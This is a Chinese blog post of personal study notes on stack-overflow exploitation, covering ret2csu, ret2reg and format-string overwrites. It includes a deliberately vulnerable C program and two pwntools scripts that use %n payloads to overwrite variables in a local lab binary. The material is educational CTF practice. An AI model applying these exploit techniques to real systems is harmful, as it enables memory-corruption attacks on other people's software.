• 栈溢出笔记-第五天


    ROP x64位的,ret2csu:
    http://www.vuln.cn/6644
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/#ret2reg
    plt和got看这俩篇文章:
    https://blog.csdn.net/linyt/article/details/51635768
    https://luomuxiaoxiao.com/?p=578#221
    其他都明白,payload ‘a' * 0x38这里,https://bbs.pediy.com/thread-255277.htm文章解释的能理解。
    Alt text
    但是 ’a'*8,解释的有点懵逼,有待重新调试。
    Alt text
    不同版本的__libc_csu_init 有一定的区别
    看雪上的
    Alt text
    ctf-wiki上的
    Alt text
    这块结合玉涵视频学习。
    ret2reg
    https://blog.csdn.net/AcSuccess/article/details/104465113
    原理
    1、查看栈溢出返回时哪个寄存器指向缓冲区空间。
    2、查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
    3、将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)
    利用思路
    1、分析和调试汇编,查看溢出函数返回时哪个寄存器指向缓冲区地址
    2、向寄存器指向的缓冲区中注入shellcode
    3、查找call 该寄存器或者jmp 该寄存器指令,并将该指令地址覆盖ret
    防御方法
    在函数ret之前,将所有赋过值的寄存器全部复位,清0,以避免此类漏洞。
    Alt text
    原理比较简单:
    因为执行了,lea eax,[ebp+buffer],在vul这个函数执行完retn后,eax还是指向[ebp+buffer]的,如果缓冲区部署shellcode,ebp下一条指令栈溢出为call eax=> call[ebp+buffer]=>call shellcode。


    在看BROP时,发现CTF-wiki写的有点难理解,高级ROP也没看:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/
    最近效率低换个思路,做一做实际栈溢出的题目,看格式化字符串的漏洞。刷xq17师傅的题目
    在看格式化字符串时,看到覆盖栈内存有点疑问。

    #include <stdio.h>
    int a = 123, b = 456;
    int main() {
      int c = 789;
      char s[100];
      printf("%p
    ", &c);
      scanf("%s", s);
      printf(s);
      if (c == 16) {
        puts("modified c.");
      } else if (a == 2) {
        puts("modified a for a small number.");
      } else if (b == 0x12345678) {
        puts("modified b for a big number!");
      }
      return 0;
    }
    

    目的是修改c==16。
    1、确定覆盖地址,题目给出c的地址了。
    2、确定相对偏移
    Alt text
    3、进行覆盖
    正常时,c=789,在格式化字符串前,第二个printf下断,ebp-c的位置存放局部变量也就是789
    Alt text
    执行完成后是不会覆盖c的值的
    Alt text
    执行下面poc前,在第二个printf前下断
    poc:

    from pwn import *
    sh = process('./overwrite')
    c_addr = int(sh.recvuntil('
    ', drop=True), 16)
    print hex(c_addr)
    payload = p32(c_addr) + 'a'*0 + '%6$n'
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()
    

    执行前的堆栈
    Alt text
    执行后的堆栈,ebp-c 修改为0x4也就是c地址的长度,所以如果要改为16,再输入 12 个字符,把上面poc改为'a'*12。
    Alt text
    上面覆盖堆栈中的内容,下面覆盖任意地址内容,修改a的值

    from pwn import *
    sh = process('./overwrite')
    a_addr = 0x0804A024
    payload = 'aa%8$naa' + p32(a_addr)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()
    

    aa%k$nxx,如果用这样的方式,前面 aa%k 是第六个参数,$nxx 是第七个参数,后面在跟一个 我们想要修改的地址,那么这个地址就是第八个参数,只需要把 k 改成 8 就可以把这第八个参数改成 2,aa%8$nxx
    调试一下,现在printf前下断,看下0x0804A024地址内容
    Alt text
    执行后
    Alt text
    a、b 是已初始化的全局变量
    覆盖大数
    Alt text
    Alt text
    ctf-wiki上往后就是格式化字符串的例子先放一放,看看这个:https://bbs.pediy.com/thread-255483.htm

  • 相关阅读:
    Python处理Excel文件
    WebSocket使用中Stomp Client连接报ERROR CODE 200的解决办法
    深入理解Java虚拟机——读书笔记
    主要排序算法的Java实现
    LeetCode 67 Add Binary
    LeetCode 206 单链表翻转
    POJ 2388
    POJ 1207 3N+1 Problem
    POJ 1008 Maya Calendar
    关于指针的一些基本常识
  • 原文地址:https://www.cnblogs.com/afanti/p/12686405.html
Copyright © 2020-2023  润新知